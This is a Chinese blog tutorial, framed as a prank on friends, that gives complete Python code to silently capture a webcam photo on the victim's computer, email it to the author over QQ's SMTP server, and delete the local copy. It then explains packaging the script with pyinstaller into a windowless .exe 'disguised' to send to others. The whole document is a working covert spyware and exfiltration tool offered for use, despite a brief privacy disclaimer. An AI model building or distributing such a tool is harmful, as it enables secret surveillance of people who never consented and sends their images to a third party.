> 文档中心 > 好友恶作剧篇——python摄像头调用

好友恶作剧篇——python摄像头调用

手捏好友的丑照,在不经意间占据上风(娱乐向)🚀🚀🚀

好友内心Os:快给爷删了!!!!!

笔者本人:就不~🤡🤡🤡🤡

好友内心Os:快给爷删了!!!!!

笔者本人:就不~🤡🤡🤡🤡

好友内心Os:快给爷删了!!!!!

笔者本人:就不~🤡🤡🤡🤡

(此处省略一万次循环)

不过玩归玩,闹归闹,别拿隐私开玩笑,本博客仅作技术交流,笔者本人也是在借鉴了一些文章后加以归纳总结改进后完成的版本,内含遇到的问题解决措施,也欢迎大家积极补充相关问题。

(借鉴参考:mp.weixin.qq.com/s/wiD6X4hRXdMU_1hh8LRNKQ)

START

首先安装库opencv-python,安装方式为打开终端输入命令行win+r,随后cmd

这边博主建议在清华源下载,在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple

pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/

具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦

具体代码:

import os    # 删除文件import cv2   # 调用摄像头拍摄照片from smtplib import SMTP_SSL      # SSL加密的   传输协议from email.mime.text import MIMEText     # 构建邮件文本from email.mime.multipart import MIMEMultipart  # 构建邮件体from email.header import Header   # 发送内容# 调用摄像头拍摄照片def get_photo():    cap = cv2.VideoCapture(0)    # 开启摄像头    f, frame = cap.read() # 将摄像头中的一帧数据保存    cv2.imwrite('image.jpg', frame)     # 将保存为本地文件    cap.release()  # 关闭摄像头# 把文件发送到我的邮箱def send_message():    # 选择QQ邮箱发送照片    host_server = 'smtp.qq.com'  # QQ邮箱smtp服务器    pwd = '****************'     # 授权码    from_qq_mail = 'QQ@qq.com'   # 发件人    to_qq_mail = 'QQ@qq.com'     # 收件人    msg = MIMEMultipart() # 创建一封带附件的邮件    msg['Subject'] = Header('摄像头照片', 'UTF-8')    # 消息主题    msg['From'] = from_qq_mail  # 发件人    msg['To'] = Header("YH", 'UTF-8')  # 收件人    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加邮件文本信息    # 加载附件到邮箱中  SSL 方式   加密    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')    image["Content-Type"] = 'image/jpeg'   # 附件格式为的加密数据    msg.attach(image) # 附件添加    # 开始发送邮件    smtp = SMTP_SSL(host_server)    # 链接服务器    smtp .login(from_qq_mail, pwd)  # 登录邮箱    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱    smtp.quit()     # 退出if __name__ == '__main__':    get_photo()   # 开启摄像头获取照片    send_message()# 发送照片    os.remove('image.jpg')      # 删除本地照片

获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。

获取授权码后,填入py文件即可

接下来也是重头戏,要伪装的合适,打包成exe文件 

先安装pyinstaller,在终端中输入pip install pyinstaller即可 

找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径

 

打包,输入命令行

pyinstaller -F -w tou.py   //py前面的名字以你自己取的为准

打包规范格式:

-F 指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D –onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c –console, –nowindowed 使用控制台,无界面(默认)

-w –windowed, –noconsole 使用窗口,无控制台

-p 添加搜索路径,让其找到对应的库。

-i 改变生成程序的icon图标

随后在dist文件夹里面即可找到可执行文件

最后在邮件内会受到bin结尾的文件,把后缀改成jpg即可看到

当然,若是你已经有了matplotlib相关报错

可以先pip uninstall matplotlib把这个删了然后再打包就没事了,打包完重新pip install matplotlib装回来即可

唱吧